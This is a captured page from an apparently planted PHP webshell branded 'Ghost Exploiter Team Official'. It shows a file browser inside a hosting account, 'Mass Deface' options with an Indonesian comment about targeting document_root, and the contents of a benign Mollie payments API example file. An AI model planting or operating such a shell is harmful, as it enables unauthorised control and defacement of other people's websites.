webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
mollie
/
mollie-api-php
/
examples
/
orders
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
cancel-order-lines.php
1.228KB
edt
ren
cancel-order.php
0.707KB
edt
ren
create-order.php
4.012KB
edt
ren
list-methods.php
0.984KB
edt
ren
list-orders.php
1.622KB
edt
ren
refund-order-completely
...
0.739KB
edt
ren
refund-order-partially.php
0.976KB
edt
ren
update-order-line.php
2.203KB
edt
ren
update-order-lines-mult
...
2.113KB
edt
ren
update-order.php
1.634KB
edt
ren
webhook.php
1.352KB
edt
ren
<?php /* * Perform operations (add, cancel, update) on multiple order lines in a single call. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /** * Perform multiple operations on Order Lines. * * See: https://docs.mollie.com/reference/v2/orders-api/manage-order-lines */ $addOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::ADD, "data" => [ "type" => \Mollie\Api\Types\OrderLineType::TYPE_DIGITAL, "name" => "Adding new orderline", "quantity" => 2, "sku" => "12345679", "totalAmount" => [ "currency" => "EUR", "value" => "30.00", ], "unitPrice" => [ "currency" => "EUR", "value" => "15.00", ], "vatAmount" => [ "currency" => "EUR", "value" => "0.00", ], "vatRate" => "0.00", ], ]; $updateOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::UPDATE, "data" => [ "id" => "odl_1.1l9vx0", "name" => "New order line name", ], ]; $cancelOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::CANCEL, "data" => [ "id" => "odl_1.4hqjw6", ], ]; $operations = [ $addOrderLine, $updateOrderLine, $cancelOrderLine, ]; $order = $mollie->orderLines->updateMultiple('ord_pbjz8x', $operations); } catch (\Mollie\Api\Exceptions\ApiException $e) { /* * When updating order lines for orders that used a pay after delivery method such as Klarna Pay Later, the * supplier (Klarna) may decline the requested changes. This results in an error response from the Mollie API. * The order initial remains intact without applying the requested changes. */ echo "API call failed: " . htmlspecialchars($e->getMessage()); }
<=Back
Liking